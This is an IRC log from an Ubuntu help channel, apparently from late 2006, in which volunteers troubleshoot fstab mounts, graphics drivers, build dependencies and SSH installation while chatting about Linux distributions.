[09:41] <daftman> DaneDog: because gentoo you have to compile everything
[09:41] <Jowi> audel1, have you tried another torrent. perhaps there is not any seeders for the file
[09:41] <daftman> DaneDog: gentoo is a source distribution
[09:41] <audel1> There are seeders
[09:41] <audel1> 19 for this particular one
[09:41] <fokuslee> corevette, u want to mount hdb1 rite?
[09:41] <Maric> Azureus has a tool that will test to make sure everythin is ok
[09:41] <DaneDog> so what is a good gaming distribution?
[09:41] <corevette> so what do i do....fokuslee.....i can either fixmbr or i can save my files and reinstall system
[09:41] <daftman> DaneDog: You really have to know what you are doing and read alot of stuff
[09:41] <gnuyoga> jowi, am using edgy 6.10 server installer
[09:41] <Maric> dane - supergamer2
[09:41] <DaneDog> I can't even run little games like lxdoom
[09:42] <daftman> DaneDog: what do you mean a gaming distribution? like windows?
[09:42] <DaneDog> i ran doom on my old 486DX2
[09:42] <kvossen> snail: this gives unmet dependencies :/
[09:42] <fokuslee> corevette so ur real problem is that u can't boot into linux anymore rite??
[09:42] <gnuyoga> looks like its not able to detect the cdrom .............. the same is getting detected in FC6
[09:42] <corevette> yup fokuslee
[09:42] <DaneDog> and can't on a p4 at 3ghz
[09:42] <audel1> Maric: The azureus tool says everything is ok
[09:42] <daftman> you should be able to run it
[09:42] <fokuslee> corevette:  what is the eror?
[09:42] <DaneDog> no i just want something that will run like wolf et and unreal tournament
[09:42] <Jowi> audel1, doublecheck that ports 6881-6889 are open in the router (if you're using one)
[09:42] <fokuslee> corevette:  and how did this happen?
[09:43] <fokuslee> wut grub error is it?
[09:43] <daftman> what is your graphic card?
[09:43] <DaneDog> the only thing i can run is ZSNES... :)
[09:43] <corevette> fokuslee its not a grub error
[09:43] <audel1> Jowi: I am using a router, but I have a different port-range
[09:43] <DaneDog> VIA unichrom :(
[09:43] <Maric> audel1 try this:www.azureuswiki.com/index.php/Avoid_traffic_shaping
[09:43] <corevette> fokuslee when i start up ubuntu....it just stops loading...i've waited for a while to see ifi t goes
[09:43] <daftman> ah
[09:43] <DaneDog> yea
[09:43] <daftman> it's not a 3d graphic card is it?
[09:43] <audel1> Maric: I will check that out right away
[09:43] <corevette> fokuslee...it freezes at the logo screen...and i tried recovery mode too
[09:43] <DaneDog> yea...
[09:43] <daftman> DaneDog: have you check to compatibility list for it?
[09:44] <Maric> I had a similar issue with comcast and they were choking my bt dls real bad
[09:44] <fokuslee> corevette did u install a new video driver?
[09:44] <gandalfcome> noobcook: well I think I will post my ati problem again and see if anyone runs dual screen and can help me ;-) if you need further help with your ati just send me a message
[09:44] <snail> kvossen: you've read the man page for this command? that will tell you how to get around this problem
[09:44] <DaneDog> it "supposibly" is
[09:44] <corevette> no fokuslee
[09:44] <noobcook> gandalfcome: thanks heaps =)
[09:44] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[09:44] <DaneDog> no where is that at?
[09:44] <gandalfcome> noobcook: no worries
[09:44] <daftman> check ubuntu
[09:44] <daftman> it should have a driver database
[09:44] <Jowi> DaneDog, what type of via chipset do you have? CLE266 supports DRI
[09:44] <daftman> it would show you what ubuntu is built for
[09:45] <fokuslee> corevette:  u shouldn't reinstall u should check if there is a solution that never happen to me but i can show u how to mount it
[09:45] <DaneDog> i have a P4M800 chipset it's IGP VT7205
[09:45] <fokuslee> so for now u can get ur files
[09:45] <corevette> ok fokuslee
[09:45] <DaneDog> i can get DRI
[09:45] <DaneDog> it's just everything is laggy
[09:45] <DaneDog> majorly
[09:45] <fokuslee> corevette:  cd  ~/
[09:46] <noobcook> gandalfcome: hehe, would this work to change my fresfresh rate : sudo aticonfigure --vresfresh=#1;85
[09:46] <fokuslee> && mkdir linuxrescue
[09:46] <DaneDog> tuxkart is non functional
[09:46] <Jowi> gnuyoga, what error do you get - why does it fail? at install time or at boot time?
[09:46] <daftman> check to see if you have 3d acceleration
[09:46] <BHSPitLappy> the sound I'm recording in Audacity (via Line In) comes out distorted, even though it plays perfectly through the speakers in real-time (by unmuting the Line in the Gnome volume prefs).  Any ideas?
[09:46] <DaneDog> glxinfo?
[09:46] <corevette> fokuslee: -bash: syntax error near unexpected token `&&'
[09:46] <Jowi> DaneDog, "glxinfo | grep direct"
[09:46] <DaneDog> yea
[09:46] <gnuyoga> jowi, install time.  Fails at Detect and mount CD-ROM
[09:47] <fokuslee> corevette oh sorri i meant it in one line but just do mkdir linuxrescue
[09:47] <DaneDog> i get a stupid visual not supported at 0x46
[09:47] <DaneDog> but it's ok there
[09:47] <corevette> keep going fokuslee
[09:47] <Jowi> gnuyoga, is the checksum of the image you downloaded ok?
[09:47] <gnuyoga> yup
[09:47] <fokuslee> ok can u comfire it by typing ls
[09:47] <daftman> what driver are you using?
[09:47] <Angela_8008135> I will talk dirty to the first one who tells me a good font editor :)
[09:48] <Jowi> gnuyoga, is it an internal or external cdrom?
[09:48] <corevette> yes fokuslee
[09:48] <DaneDog> I am using the openchrome drivers, the guy from unichrome found me on VIAARENA.com's forum and told me to try his but i don't know how to get rid of the openchrome one...
[09:48] <DaneDog> i mean the unichrome.sf one
[09:48] <gnuyoga> jowi, i have both ..... one IDE and other USB ...... it boot from both the drive but the installation stop at Detect and mount CD-ROM
[09:49] <DaneDog> I have three choices, Openchrome, unichrome.sf, and VIATECH's
[09:49] <Jowi> DaneDog, the "via" driver should be enough I think.
[09:49] <gandalfcome> noobcook: no do sudo gedit /etc/X11/xorg.conf. and have look through the options theres a screen device section where you can set your resolution and refresh rate
[09:49] <noobcook> alright
[09:49] <Jowi> gnuyoga, is the USB drive connected?
[09:49] <corevette> fokuslee its there
[09:49] <gnuyoga> jowi,
[09:49] <daftman> so you want to get rid of the unichrome driver?
[09:49] <fokuslee> corevette sudo nano -w /etc/fstab
[09:49] <gnuyoga> jowi, no i disconnected
[09:49] <DaneDog> videos run, but i can't play even the littlest games like even LXDOOM is HORRIBLY laggy
[09:50] <gnuyoga> jowi, i have verified that there is not hardware error ... FC6 got installed last night
[09:50] <Maric> Angela_8008135: have you looked at Xmbdfed?
[09:50] <noobcook> gandalfcome: it says Identifier   "Generic Monitor" should i be having a better driver installed for monitor?
[09:50] <DaneDog> well they all install as VIA
[09:50] <corevette> ok i'm at nano fokuslee
[09:50] <fokuslee> u see some stuff there rite?
[09:50] <DaneDog> so i don't know which is which when i run dpkg-reconfigure
[09:50] <corevette> yes fokuslee
[09:50] <Jowi> gnuyoga, yeah. I was thinking more in the lines that the order of the cd rom drives got swapped by the installer by accident.
[09:50] <fokuslee> ok start a new line add this
[09:51] <daftman> how did u install the unichrome  one?
[09:51] <daftman> through a deb?
[09:51] <Jowi> DaneDog, how about re-installing xserver-xorg-driver-via?
[09:51] <fokuslee> /dev/hdb1   /home/($urlogonname)/linuxrescue            ext3    noatime,umask=000              0 0
[09:51] <fokuslee> corevette:  above
[09:51] <DaneDog> it's openchrome i'm using
[09:51] <DaneDog> and i did the ./autogen
[09:51] <gandalfcome> noobcook: not really I think its okay that way, google the options I dont know exactley myself what the refresh rate is. I know its very tedious but if you want to get optimal performance out of your card you need to do a lot of options in xorg.conf without config programs but by hand;-)
[09:51] <DaneDog> make etc...
[09:52] <Maric> Angela_8008135: also have you looked at fonter?
[09:52] <gnuyoga> jowi, some one in the forum reported the same and they talk about updating the kernel to 2.6.18 but how will i upgrade the kernel in the installer CD ?
[09:52] <SurfnKid> anyone know where to get fonts
[09:52] <SurfnKid> for ubuntu
[09:52] <DaneDog> i didn't use a installer
[09:52] <corevette> fokuslee...2 separate lines?
[09:52] <noobcook> gandalfcome: ah the world of linux
[09:52] <noobcook> how do i change my rez
[09:52] <fadey> Hi, everyone. I'm wondering why partition naming changed to UUIDs in Edgy. Could anyone explain or give a link to read about it.
[09:52] <noobcook> haha
[09:52] <gandalfcome> noobcook: well you get what you pay for :D
[09:52] <Angela_8008135> SurfnKid, I will make you fonts.. give me a link to a good font editor :)
[09:52] <noobcook> exactly
[09:53] <daftman> hmm i use nvidia
[09:53] <DaneDog> then i got the git version of unichrome.sf which is via tech's driver redone... but i built it but i don't know how to load that instead of the openchrome driver
[09:53] <SurfnKid> Angela_8008135, hi
[09:53] <daftman> so I can't really help you specifically
[09:53] <DaneDog> the openchrome driver is kia.ko, and the unichrome is kia_drv.so
[09:53] <fokuslee> corevette:  no one line
[09:54] <fokuslee> /dev/hdb1 ......0 0 all one line
[09:54] <corevette> ok now what fokuslee
[09:54] <Davo_Dinkum> Anyone here use tilda? Is it a good program?
[09:54] <Maric> Angela_8008135: try Xmbdfed it is in the ubuntu universe repos,
[09:54] <fokuslee> ok now save the file ctrl o
[09:54] <SurfnKid> Angela_8008135, hi there where from
[09:54] <DaneDog> i've only been playing with linux for 2 weeks and I play around and i get scared i might have messed something up so i reinstall it every 24 hrs damn near
[09:54] <corevette> ok fokuslee
[09:54] <DaneDog> Xubuntu is the best i found so far tho...
[09:55] <fokuslee> corevette:  ok now just type sudo mount /dev/hdb1
[09:55] <DaneDog> Mandriva has too much stuff installed... seems cluttered
[09:55] <DaneDog> FC6 died at install
[09:55] <noobcook> fokuslee: if i wanted to install a program so i could test the security of my machine would you help me install it or is that against rules
[09:55] <corevette> fokuslee:mount: mount point /home/($urlogonname)/linuxrescue does not exist
[09:55] <Maric> Dane the bst thing to do is make an install that you know will be sacrificial and then break it and try to fix it
[09:55] <DaneDog> hehe did that...
[09:55] <fokuslee> noobcook i don't really understand ur question
[09:56] <daftman> DaneDog: if you are playing around with linux then it is best to get popular hardware
[09:56] <Jowi> gnuyoga, I don't know. :-/ trying to search for a deb for you
[09:56] <noobcook> fokuslee: would u help me compile an unsupported program
[09:56] <fokuslee> corevette (urlogonname) is suppose to be ur own name
[09:56] <fokuslee> corevette:  don't copy it
[09:56] <Maric> Im on my third install of edgy - the last one I wiped out a whole bunch of files that I needed to run trying to clean up
[09:56] <corevette> on a livecd fokuslee?
[09:56] <deepbluegene> hi. i am new to ubuntu and just tried compiling a simple hello world c program but was not sucessful
[09:56] <fokuslee> noobcook sorri im bad at compiling
[09:56] <daftman> noobcook: make config
[09:56] <daftman> noobcook: make install
[09:56] <fokuslee> i can't even compile kiba-dock rite
[09:57] <noobcook> yeh i need some dependencies ive never heard of before daftman
[09:57] <fokuslee> daftman its probably more complicated then dat
[09:57] <daftman> what dependencies
[09:57] <DaneDog> yea... i bought this motherboard to play with some of my sparehardware to see if i wanted to install it on my 3.8ghz, but i'm not having much luck with it on this one so i'm kinda "if"ie
[09:57] <gast> ,
[09:57] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[09:57] <fokuslee> corevette change urlogon name to ur name
[09:57] <daftman> noobcook: what dependencies does it need?
[09:58] <corevette> fokuslee mount: mount point /home/ubuntu/linuxrescue does not exist
[09:58] <fokuslee> ($ ) just means sub ur own value in to it
[09:58] <DaneDog> how bad would an old ATI rage pro turbo 8mb card be in comparision to the Unichrome on board
[09:58] <noobcook> daftman: configure: error: Library requirements (gtk+-2.0 >= 2.0.0) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a no
[09:58] <gnuyoga> jowi, really appreciate
[09:58] <imhotepp> Hi
[09:58] <DaneDog> did u make that folder corvette?
[09:58] <Maric> Dane ATI is not getting a lot of love in linux right now
[09:58] <DaneDog> neither is unichrome tho
[09:58] <fokuslee> but u go to /home/ubuntu and do ls linuxrescue is there rite?
[09:58] <corevette> fokuslee: root@ubuntu:~# mount: mount point /home/ubuntu/linuxrescue does not exist
[09:58] <corevette> -bash: mount:: command not found
[09:59] <Maric> dane - a really cheap nvidia (even used) would be a better bet
[09:59] <daftman> noobcook: apt-cache search gtk
[09:59] <Maric> I got mine for $20.00 us
[09:59] <daftman> look for development libraries
[09:59] <DaneDog> yea... what about intel onboard or is that just as bad?
[09:59] <SurfnKid> Angela_8008135, r u there
[09:59] <noobcook> daftman: lol gg biggest console flood ever =p
[10:00] <daftman> noobcook: apt-cache search gtk | grep development
[10:00] <Maric> intell might actually be better but I have not used them before
[10:00] <noobcook> k
[10:00] <imhotepp> i have an smb mount in my fstab whenever I remove "noauto" from options in the fstab line i get the message "select() to /dev/rtc to wait for clock tick timed out" and the system hangs during boot
[10:00] <imhotepp> any ideas?
[10:00] <imhotepp> ubuntu dapper
[10:01] <Maric> what line in fstab?
[10:01] <daftman> i think this is it: libgtkmm2.0-dev
[10:01] <daftman> so do this: apt-get install libgtkmm2.0-dev
[10:01] <DaneDog> well thanks for the info guys... appreciate it
[10:01] <noobcook> daftman: ty
[10:01] <Maric> dane also download/try supergamer2 iso
[10:01] <daftman> sorry we can't be of any help Danedog
[10:02] <DaneDog> i heard of that...
[10:02] <noobcook> sob its 40 megs
[10:02] <Maric> I use it on my laptop
[10:02] <imhotepp> Maric: //server/public      /server/public       smbfs   user,noauto,credentials=/etc/samba/auth.server.myname     \   0       0
[10:02] <fokuslee> corevette: so the linuxrescue folder is there and its saying the folder doesn't exist?
[10:02] <daftman> noobcook: yes it is development file
[10:02] <corevette> fokuslee: root@ubuntu:~# mount: mount point /home/ubuntu/linuxrescue does not exist
[10:02] <corevette> -bash: mount:: command not found
[10:02] <corevette> fokuslee....i created the folder
[10:02] <daftman> noobcook: it is probable 40 mb because of all the other dependencies
[10:02] <corevette> then i entered it again and tahts what came up fokuslee
[10:03] <DaneDog> I think i'm just gonna dual boot my other PC and donate this one to my girls house so i got a pc there to play with when i get bored...
[10:03] <noobcook> daftman: well i love it when it auto installs dependencies so i cant complain
[10:03] <DaneDog> is it possible to dual boot linux on the same hd
[10:03] <daftman> yes
[10:03] <DaneDog> like 2 different distros?
[10:03] <daftman> yes
[10:03] <daftman> partition it
[10:03] <Maric> imhotepp: I think that the noauto may be needed but I'm still new at samba so it may be wise to ask someone else
[10:03] <daftman> fdisk
[10:03] <fokuslee> darn maybe itz b/c livecd doesn't liek dat try /dev/hdb1 /mnt/
[10:03] <DaneDog> after i have ubuntu setup already?
[10:03] <daftman> !fdisk | DaneDog
[10:03] <ubotu> Sorry, I don't know anything about fdisk - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:04] <fokuslee> corevette:  hold on i try to check something for u
[10:04] <Jowi> gnuyoga, Can't find a thing. maybe, if you're brave, you can install the feisty alpha https://lists.ubuntu.com/archives/ubuntu-devel-announce/2006-December/000225.html that includes 2.6.19
[10:04] <daftman> you can resize your partition
[10:04] <imhotepp> but why does it mount it just fine when i mount it manually later on after boot
[10:04] <DaneDog> don't i have to unmount the hd first to partition it
[10:05] <Jowi> gnuyoga, it is less than stable though
[10:05] <noobcook> whats better Wine or VMware
[10:05] <fokuslee> corevette try to make the linuxrescue folder in /mnt/
[10:05] <daftman> noobcook: depends
[10:05] <fokuslee> if that doesn't work then i really don't no
[10:05] <Maric> imot: if Im not smoking crack, it is because fstab loads very early on and samba loads quite a bit later and is then able to do its job
[10:05] <tn-> hi
[10:05] <noobcook> daftman: for games ect
[10:05] <Healot> : noobcook depends on wht you're trying to achienve
[10:05] <daftman> then use cedega
[10:06] <daftman> or wine
[10:06] <tn-> I've got a problem with the intel-hda sound driver
[10:06] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[10:06] <daftman> with vimware you can't run games
[10:06] <noobcook> ok wine it is =p its on automaix debs
[10:06] <noobcook> ah k
[10:06] <gnuyoga> jowi, looking at a production ready kernel
[10:06] <daftman> vimware you basically need to install the whole os
[10:06] <DaneDog> I knew i shoulda just stuck with my good old 386 @ 25 mhz :)
[10:06] <corevette> fokuslee..its created
[10:06] <Angela_8008135> my husband says I smell like clam dip :(
[10:06] <DaneDog> thanks guys later
[10:06] <tn-> I used to have sound, but each time I rebooted, sound volume got quieter
[10:06] <Healot> wine just provides the windows application compatibility layer
[10:06] <daftman> lol DaneDog, just get a decent gfx card
[10:06] <daftman> from nvidia or ati
[10:06] <noobcook> not ati for linux
[10:07] <daftman> it should be too expensive
[10:07] <Maric> DaneDog: you had a 386? luxury! I just have a commodore 64
[10:07] <noobcook> nvidia is for linux ati is not
[10:07] <noobcook> ><
[10:07] <tn-> does so had the same pb ?
[10:07] <noobcook> until they get their act together
[10:07] <fokuslee> corevette u have to change the line in /etc/fstab according ly
[10:07] <DaneDog> haha
[10:07] <Healot> not the whole OS (unlike vmware, which provide the virtualization of the OS)
[10:07] <fokuslee> corevette: then try mount /dev/hdb1
[10:07] <Jowi> gnuyoga, if you already tried disconnecting all external devices (appart from mouse+keyboad+screen) before booting I don't see much else to do.
[10:07] <DaneDog> Nope first pc was a 386, second was a 486DX2
[10:07] <noobcook> my first PC was an amiga
[10:07] <daftman> lol if you can run ubuntu on 386 il be impress
[10:07] <noobcook> lol
[10:08] <Maric> dane ahh my first was a vic 20 then the c64 then the 8080 etc...
[10:08] <DaneDog> that had 2x speed none of that 33 mhz stuff i got a whooping 66mhz
[10:08] <Jowi> gnuyoga, I hope someone else got better ideas than me.
[10:08] <corevette> mokuslee: mount: wrong fs type, bad option, bad superblock on /dev/hdb1,
[10:08] <corevette>        missing codepage or other error
[10:08] <corevette>        In some cases useful info is found in syslog - try
[10:08] <corevette>        dmesg | tail  or so
[10:08] <noobcook> amigas ruled
[10:08] <daftman> ah the good old days
[10:08] <DaneDog> Hey doom ran on that and not my 2.6
[10:08] <noobcook> i used 2 play frogga
[10:08] <Maric> Dane woot 66mhz is teh roxor!
[10:08] <DaneDog> go figure
[10:08] <daftman> dane if you liek to be dangerous: play around with gentoo
[10:08] <noobcook> my laptop is only 600 mhz haha
[10:09] <daftman> you will probably compile you own kernel to run that mobo
[10:09] <noobcook> daftman: whats so bad about gentoo anyway
[10:09] <daftman> nothing wrong with gentoo
[10:09] <daftman> but it is not for linux newb
[10:09] <DaneDog> i was thinking of trying to run that and dual boot xubuntu
[10:09] <noobcook> eeveryone is always like "shudder gentoo"
[10:09] <Maric> my first comp had 20kb ram now I got 1 gig,
[10:09] <daftman> gentoo is a source distribution
[10:09] <daftman> you have to compile EVERYTHING
[10:09] <noobcook> danedog use solaris 10 =p
[10:09] <DaneDog> NO way
[10:09] <noobcook> oh
[10:09] <noobcook> stuff that
[10:09] <noobcook> haha
[10:10] <daftman> and i mean literally everything including the kernel at installation
[10:10] <Maric> noobcook: gentoo is a great distro, but it is the linux equivalent to going Amish
[10:10] <DaneDog> haha
[10:10] <daftman> lol
[10:10] <noobcook> i dont know what amish is
[10:10] <daftman> Maric: but it is fantastic if you get the hang of it
[10:10] <noobcook> but ill pretend to laugh =D
[10:10] <Moose> Does Ubuntu have SSH built in?
[10:10] <DaneDog> they live 35 miles from me...
[10:10] <Jowi> Moose, you have to install it
[10:10] <Maric> I agree draft
[10:10] <DaneDog> no power... no water....
[10:10] <bimberi> Moose: ssh client yes, not server
[10:10] <daftman> Moose: not the server
[10:10] <DaneDog> well running water
[10:10] <Moose> Jowi: Mind tossing me some instructions please?
[10:10] <daftman> the client
[10:10] <DaneDog> outhouses
[10:11] <DaneDog> like it's 1800's yet
[10:11] <Jowi> Moose, sudo apt-get install ssh
[10:11] <Moose> Thank'ee.
[10:11] <daftman> Moose: apt-get ssh
[10:11] <daftman> Moose: apt-get install ssh
[10:11] <RedGhost> whats the keyboard shortcut to kill a terminal application ?
[10:11] <noobcook> moose it doesnt
[10:11] <DaneDog> what else is a good distro to try?
[10:11] <daftman> ctrl + C
[10:11] <Maric> noobcook: http://en.wikipedia.org/wiki/Amish
[10:11] <noobcook> k
[10:11] <noobcook> ill check it soon im apt getting
[10:11] <noobcook> brb
[10:11] <daftman> well i like ubuntu and gentoo so far
[10:11] <Jowi> DaneDog, slackware. basic and refreshing.
[10:11] <fokuslee> corevette:  ok sorri i didn't see it
[10:12] <RedGhost> daftman, thanks
[10:12] <fokuslee> corevette: itz complaining wrong file type
[10:12] <daftman> but if you want to be retro try Debian
[10:12] <corevette> no problem fokuslee
[10:12] <daftman> pure debian
[10:12] <fokuslee> corevette:  can u give me ur pastebin again?
[10:12] <DaneDog> i heard slackware is a little advanced too
[10:12] <Maric> ahh slackware thats annother badge of honor distro
[10:12] <Moose> so it installs off the disk?
[10:12] <corevette> which one....the newer one fokuslee?
[10:12] <daftman> I haven't used it so I don't know
[10:12] <daftman> nothing is as advanced as gentoo
[10:12] <fokuslee> corevette:  newer one
[10:12] <corevette> fokuslee: http://paste.ubuntu-nl.org/1280/
[10:13] <Jowi> DaneDog, slackware is like going back to the roots of computing for me. it is straight forward (if you're used to linux)
[10:13] <DaneDog> nope... i'm used to dos
[10:13] <SurfnKid> Angela_8008135, oi
[10:13] <daftman> Jowi: what is that like?
[10:13] <DaneDog>  and i hate XP
[10:13] <Angela_8008135> hi
[10:13] <Jowi> daftman, refreshing in a weird sence
[10:13] <DaneDog> 2000 is as far as I install as far as microsoft
[10:13] <SurfnKid> Angela_8008135, are you on linux
[10:13] <noobcook> man im starved who wants to cook me dinner
[10:13] <daftman> Jowi: I need more technical desciption that that
[10:13] <Maric> Ive used gentoo, debian, slackware, SUSE, Ubuntu, and OpenBSD of the *nix family
[10:14] <Moose> Alright, I officially like Ubuntu better than any other Linix distro :P
[10:14] <daftman> DaneDOg: lol xp is alright for kids
[10:14] <Moose> Linux*
[10:14] <Moose> bah, half asleep.
[10:14] <DaneDog> yea...
[10:14] <Maric> Moose: good to hear
[10:14] <noobcook> ive used solaris 10 and ubuntu and debian RD and DSL and LL all in 4 days before that i was windows =p
[10:14] <daftman> DaneDOg: if you want games just load an xp behind your linux firewall
[10:14] <fokuslee> corevette:  did u isntall linux some other file type?
[10:14] <Maric> I like the ubuntu for the tight integration and ease of use/admin
[10:14] <fokuslee> corevette:  can u type df -T
[10:14] <daftman> hehehe i used dsl on my flash drive
[10:14] <Moose> It's just so easy to use and such. Oh and another plus, it works!
[10:15] <daftman> ubuntu at home
[10:15] <noobcook> dsl is a whore
[10:15] <daftman> gentoo at work
[10:15] <noobcook> lol
[10:15] <Jowi> daftman, great package management. sudo is optional. 2.4 kernel if you wish. very very very stable distro.
[10:15] <Maric> debian for quick and dirty server stuff
[10:15] <DaneDog> ah... I'll just stick to PS2 for a while...
[10:15] <corevette> what doy ou want on that fokuslee
[10:15] <DaneDog> how is FC6?
[10:15] <noobcook> i use dsl on a palm pilot with thc hydra and im hax0r elitez0r
[10:15] <noobcook> lol
[10:15] <DaneDog> it locked my PC on install...
[10:15] <fokuslee> do df -T
[10:15] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[10:15] <fokuslee> corevette:  cuz i want to check if ur file type is ext3
[10:15] <DaneDog> and isn't close to ubuntu so I was stuck cuz nano isn't a command...
[10:16] <Maric> had too many issues installing FC myself,
[10:16] <daftman> Jowi: So far everything is stable for me in linux, except my gnome
[10:16] <fokuslee> corevette:  /dev/hdb1     ext3  is it like this??
[10:16] <daftman> Jowi: i thought apt-get and portage are the best
[10:16] <DaneDog> I like XFCE it's small and i run KDE and Gnome apps
[10:16] <Maric> hay quick question what is an Emacs? is it like a Vi?
[10:16] <corevette> fokuslee: http://paste.ubuntu-nl.org/1282/
[10:16] <noobcook> YES
[10:17] <Moose> How about ftp? Do I need to install that as well?
[10:17] <noobcook> daftman: it compiled =D
[10:17] <noobcook> woohooo
[10:17] <daftman> Moose: No
[10:17] <daftman> Moose: only activate service that you need
[10:17] <daftman> noobcook: congrats
[10:17] <morgs> Maric: emacs is the complete opposite to vi. It includes entire programming languages and games
[10:17] <Moose> daftman: What do you mean?
[10:17] <noobcook> hey daftman since ur in aus can i try it on u =p
[10:17] <Maric> ahh, I wont need that then thx
[10:17] <DaneDog> it's a shame that more companies don't have drivers for linux for the hardware thou
[10:17] <daftman> noobcook: usually always look the package that end with dev when you want to compile something
[10:18] <daftman> sure
[10:18] <Maric> DaneDog: amen brother!
[10:18] <noobcook> thanks
[10:18] <prologic> Is "edgy" the correct/latest sources ot use ?
[10:18] <fokuslee> corevette:  sorri that command only show the file type of a mounted drive
[10:18] <daftman> try what tho?
[10:18] <morgs> prologic: yes
[10:18] <fokuslee> corevette:  the only thin i can think of is try to put auto instead of ext3
[10:18] <prologic> k ta
[10:18] <daftman> Moose: dont install ftp, it is not secure
[10:18] <prologic> just having problems with the ndiswarpper
[10:18] <corevette> where fokuslee
[10:18] <Maric> pro> yes if you have installed ubuntu edgy, no if you have dapper installed
[10:18] <prologic> it won't load and gives no reason why
[10:18] <DaneDog> I read they are accepting testers for hoary already
[10:19] <morgs> DaneDog: lol you mean feisty... hoary was ages ago!
[10:19] <Jowi> daftman, slackware is like the basic Volvo. rocksolid, secure and a bit boring. Ubuntu is like that ferrari - shiny, speedy and well manufactured. too different breeds. can't really compare them.
[10:19] <DaneDog> really?
[10:19] <jedrick> i need help.. i mounted a windows drive on my linux box.. and it's on "/mnt" but i can't access the folder when i try to open it.. anyone can help me?
[10:19] <Jowi> Moose, daftman is right. use ssh.
[10:19] <bimberi> Moose: no ftp server installed by default.  The default Ubuntu install has no service that listens on external ports
[10:20] <daftman> Jowi: slackware is GPL?
[10:20] <Jowi> sure is daftman
[10:20] <morgs> jedrick: how did you mount it?
[10:20] <daftman> Jowi: and free as in free beer and free speech?
[10:20] <bimberi> Moose: (cups listens on locahost)
[10:20] <DaneDog> sorry it's herd
[10:20] <Maric> Jowi: I agree slackware is very boring to play with - it just keeps working quietly away...
[10:20] <jedrick> morgs, mount -t ntfs /dev/hda5 /mnt
[10:21] <fokuslee> corevette:  u mite have installed ur linux with reiserfs
[10:21] <morgs> jedrick: sudo?
[10:21] <DaneDog> they are testing herd the new release...
[10:21] <jedrick> nope :)
[10:21] <DaneDog> http://www.ubuntuforums.org/forumdisplay.php?f=201
[10:21] <Maric> draftman: yep all free
[10:21] <fokuslee> corevette:  try to change the file type from ext3 to reiserfs
[10:21] <jedrick> morgs, i forgot to sudo :)
[10:21] <DaneDog> how can they test that if fiesty isn't out yet...?
[10:21] <corevette> how fokuslee
[10:21] <fokuslee> corevette:  in /etc/fstab
[10:21] <Jowi> daftman, as free as it gets. slackware.com is there if you want more info :)
[10:21] <morgs> DaneDog: it's a herd of feisty fawns
[10:21] <fokuslee> corevette: sudo nano -w /etc/fstab
[10:21] <DaneDog> oh!!
[10:22] <noobcook> daftman: ** ERROR **: file callbacks.c: line 544 (popen_re_unbuffered): should not be reached
[10:22] <noobcook> aborting...
[10:22] <Maric> draftman: it is an Ur distrom started very early on and has been there done that for ages
[10:22] <corevette> i know where in fstab fokuslee
[10:22] <DaneDog> i'm lost
[10:22] <jedrick> morgs,  how to mount to windows drive automatically on boot?
[10:22] <daftman> Jowi: i heard some distro isn't really free like xandros or something
[10:22] <fokuslee> corevette:  yeah see where it had ext3 change it to reiserfs
[10:22] <morgs> DaneDog: the herd (1,2,...) "releases" are milestone versions. There's actually a daily CD image produced every day for feisty but it is considered unstable...
[10:22] <fokuslee> corevette:  copy the last line back to me please
[10:22] <DaneDog> breezy and dapper and edgy and ......
[10:22] <jedrick> how to unmount the mounted drives on my linux box?
[10:22] <DaneDog> can i get that somewhere?
[10:22] <daftman> noobcook: what are you trying to do?
[10:22] <morgs> jedrick: You need to edit /etc/fstab. That file has entries for partitions, permissions and when to mount them.
[10:22] <Maric> DaneDog: fiesty fawn
[10:22] <corevette> fokuslee: /dev/hdb1   /mnt/linuxrescue ext3    noatime,umask=000              0 0
[10:23] <noobcook> daftman:  its just a remote login
[10:23] <DaneDog> can anyone try it?
[10:23] <noobcook> but its incomplete i think
[10:23] <SurfnKid> !fonts
[10:23] <ubotu> Font installation basics here: https://help.ubuntu.com/community/FontInstallHowto - No fonts in Flash? Install "msttcorefonts" (from !Multiverse), "gsfonts", and "gsfonts-x11". No fonts in MPlayer? see !MPlayer
[10:23] <fokuslee> corevette good the part where it says ext3 change it too reiserfs
[10:23] <daftman> noobcook: you want to remote login to my computer?
[10:23] <Jowi> daftman, here's a nice overview of what some distros come from if you're interested (good overview) http://photos1.blogger.com/blogger/3370/2500/1600/GNULinux.jpg
[10:23] <Maric> !fiesty Maric
[10:23] <ubotu> Sorry, I don't know anything about fiesty Maric - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:23] <noobcook> daftman: nah i was just testing if it works how it says it does
[10:24] <fokuslee> corevette:  corevette i want u to change it b/c it complaints that the ext3 is a bad file system type
[10:24] <morgs> DaneDog: wait for "herd 2" to be released, it's the next Alpha release. Don't upgrade to it though, still many many bugs but you can test.
[10:24] <DaneDog> someone can remote login mine if they want... i don't care :)
[10:24] <corevette> ok now what fokuslee
[10:24] <Jowi> !feisty | Maric
[10:24] <ubotu> Maric: The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. At the moment it is alpha. Schedule: https://wiki.ubuntu.com/FeistyReleaseSchedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help in #ubuntu+1
[10:24] <DaneDog> not much to do on my pc
[10:24] <fokuslee> save and exit and try to sudo mount /dev/hdb1 again
[10:24] <DaneDog> sweet
[10:24] <morgs> !feisty Maric
[10:24] <ubotu> Sorry, I don't know anything about feisty Maric - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:24] <daftman> DaneDog: that is if you leave your server running
[10:24] <fokuslee> corevette:  if that fails try to put auto inplace of reiserfs to try autodetect
[10:24] <DaneDog> daftman: huh?
[10:25] <daftman> noobcook: what are you using to  do remote login? vnc? ssh?
[10:25] <daftman> DaneDog: people cant login to your computer if you don't have any server running e.g. like vnc, ssh, ftp, etc
[10:25] <noobcook> daftman: ciso protocol, SNMP
[10:25] <DaneDog> this is what is so awesome about ubuntu.... the community...
[10:25] <DaneDog> oh...
[10:26] <corevette> fokuslee...neither worked
[10:26] <corevette> fokuslee stop for a sec
